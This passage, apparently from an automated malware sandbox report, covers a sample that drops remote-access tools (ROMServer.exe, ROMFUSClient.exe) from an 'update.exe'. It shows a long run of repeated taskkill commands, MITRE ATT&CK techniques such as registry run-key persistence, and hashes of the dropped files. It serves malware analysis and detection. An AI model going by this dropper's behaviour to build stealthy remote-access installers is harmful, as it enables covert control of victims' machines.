        PID:1832
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:1460
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4932
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:1600
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:5240
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:1808
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:480
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:3636
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:5260
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4468
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:1700
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:3876
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4776
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:1912
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:6072
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:3192
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:2464
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:6100
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:2764
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:5384
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:3320
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4244
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:3944
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:3248
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:5640
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4200
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:5172
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:4596
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:2428
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:1676
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:6132
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:3084
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:5672
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:4744
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:5252
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:1704
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:6072
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:1604
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:3696
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:1556
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:1032
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_4lovjwy3.ayj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4lovjwy3.ayj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

update.exe

Path C:\Users\Admin\AppData\Local\Temp\update.exe
Size 17.4MB
SHA256 aa7bb25b6ac569d0cf37084395b5136904cdb6f8094e2e8caa90524c8d49b387
MD5 f755f12f7df28c44e246c078711ad8a3
SHA1 816c972626007040b37a04db7cf1f71b32e32ce4
SHA512 5fa5cefe11298904d7ae7bb20397724e251cc1edde3fd5365078110293fbd748da701b60a56844e0aae5e645134475509d149896c14d4e7b83901d8615d097f8
SSDEEP 393216:3I+GezoEKj2lNhLG8uywvafvs26ShHEiLqpvKArnzkyJTY048:ZGezobj2lN5GCwvaXn6AOpvJrzkydYc
TLSH
T1FA0733C2E351F9E6F1A11AF246951809EB52ECB0770CCDF66BD4783D49190D0AB9BE23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Config.xml

Path C:\Users\Admin\AppData\Roaming\screen\Config.xml
Size 164KB
SHA256 1198f6c0ad9847798211d4c7ccf7a843bda9014c998b33ddccb4da180d1a2461
MD5 2e395e8b4f2635c340e0dd47317c896f
SHA1 ef7d848aa82f17defc9eeab86bd2aec4be86a2d5
SHA512 acaa7ba3fefd55b427657ce37c96803d4dcdfe13b02cf82bbebf2a29fa706afdb9c92dcab2e486517ddd18215a3dc1020977fe57b370b885abfbcab66ee9096b
SSDEEP 1536:i3FatHmxa6a9/a6aH0afpa4ajOa4aQadaaaHa34acAacaawadaYaEbawaDNaoSa0:3ltwYqT9Nq
TLSH
T161F30279ADDF50BD2223EB517FD47DEFCA8FA677611DB8AA148103070612D80EB52938
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

English.lg

Path C:\Users\Admin\AppData\Roaming\screen\English.lg
Size 87KB
SHA256 20db884523da62c20f80b8a3bb71e11091b90a443b83c06d8fe2a1bbc00c1c33
MD5 b1c96ef24061bf294cac6c4c9cbf7757
SHA1 5d1b1934091e257b5f1c69b13f5fc1e424348584
SHA512 6e90562fd804f91ddadef2310551063d34b859ff1cc6e58a41667e9cda062dca851c8455882ef47cf3e1a8ec21ebd9f0761f15e54174cc4a95427238cb39ba14
SSDEEP 768:YvozCzKUNNfMnuQhgdXT0Z2BPshK+4aCWpQJ3OEInKDcbztlXnpQbbMv3PI:Yvoz4TXTI2pQCWOJvgXnpQbS3PI
TLSH
T18193FE4227FD5208F5F76B94E9B990604E77BCE9AC38C21C5292005E66F1F85C8B2777
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ROMFUSClient.exe

Path C:\Users\Admin\AppData\Roaming\screen\ROMFUSClient.exe
Size 6.0MB
SHA256 33d1a34fec88ce59beb756f5a274ff451caf171a755aae12b047e678929e8023
MD5 63d0964168b927d00064aa684e79a300
SHA1 b4b9b0e3d92e8a3cbe0a95221b5512ded14efb64
SHA512 894d8a25e9db3165e0daae521f36bbd6f9575d4f46a2597d13dec8612705634efea636a3c4165ba1f7ca3cdc4dc7d4542d0ea9987de10d2bc5a6ed9d6e05aecb
SSDEEP 98304:NwiA/GmKEt3LQ7V8z3uHWkd49GMdqOxaB:NOGmKEt31kd2dqwaB
TLSH
T16E56AF17F3C8613BD47B0B3A4477A7A46D3F7A606E1A8C2727F4294C8F36540692A787
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ROMServer.exe

Path C:\Users\Admin\AppData\Roaming\screen\ROMServer.exe
Size 7.4MB
SHA256 162061884914970a39cb80ef274ee07b0d398fab509d7c9b5dffe911b6dfbc8d
MD5 d8736410aaf99290dd68a4de47578287
SHA1 9175342609136d65c5733751ad577bf1b9df329d
SHA512 f33893bf6b0160881ac073a505d44bd41aac36652bc100aea00368e2015a50d675137e4cb8fc88e510bfacc320fa936b4c0824afa300a8cd4e474b3d0fac4183
SSDEEP 98304:S4/WZQ7lc63BJGS1VFeIEll251o7+YcMBk2VVyN/RTfCEFIqOx9I:SXQ7SIEXeMBk2V4N/NqiIqw9I
TLSH
T136767D12B2C6603FD0AB1E365837A754693F7A702A198C1B67E4094CCF76F817A2E747
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Russian.lg

Path C:\Users\Admin\AppData\Roaming\screen\Russian.lg
Size 92KB
SHA256 302373d81f0ae15589206420cb01a266804c9fd1c1ff0d6e09ce6ba3fef92b64
MD5 0e204fabe68b4b65ed5e0834651fb732
SHA1 b338a6e54aa18f3f8a573580520f16c74a51f3d2
SHA512 aad76f6a76dc693d959389ce471bc585d0da72737fed99f42f219fdc7c71617c00e8003a467092e12820a359d672c6fb80d99772f3f6433923b2abb7eea40f08
SSDEEP 768:r1kyTyZFOTb6QeZGJXYbFAMrKARuZk7FRwZoFTa2n:rn+2iZGhYbK4KARpAoFTa2n
TLSH
T1D093590BB7FC5204F0F6D750DA7AC4D105BBBDE86628C29C51CF282D2164BB1A6627E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

romlaunch.exe

Path C:\Users\Admin\AppData\Roaming\screen\romlaunch.exe
Size 136KB
SHA256 4abfecf8d07a86bb021440387cb667dfdc4ebcb5f073f0ee40972607aea28b30
MD5 c1143d1a0e59005adbbb04af0bafc834
SHA1 f923720e59a7b2b5d16cce5bb2f3c6bea96a598e
SHA512 d3c533c0a732c3b72c032075297fce002eaaf186d5c63cc4a7905d337f54bbdd516b01926b4a34fadbe8b9995b765f7d613365cdf094722de566dc71497e4bdb
SSDEEP 3072:Rjl5Lq8AX0YKaRtuLCRnX0AlczanQqp6lYWy:LouMtNl0A6e5Z
TLSH
T1F1D35A27B6A670FAE16BC934C9424901DB72BC765BA0ABDF07504ED60F236D09E3DB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1036-63-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/1036-49-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/1036-50-0x00000000012D0000-0x00000000018D2000-memory.dmp

Download

memory/1036-51-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/1036-59-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/1036-69-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/1036-71-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/1036-73-0x0000000000400000-0x0000000000BF2000-memory.dmp

Download

memory/3196-24-0x000001A2539C0000-0x000001A2539D2000-memory.dmp

Download

memory/3196-12-0x000001A26C050000-0x000001A26C072000-memory.dmp

Download

memory/3196-23-0x000001A252100000-0x000001A25210C000-memory.dmp

Download

memory/5240-47-0x0000000000400000-0x0000000000A92000-memory.dmp

Download

memory/5240-48-0x0000000001030000-0x0000000001632000-memory.dmp

Download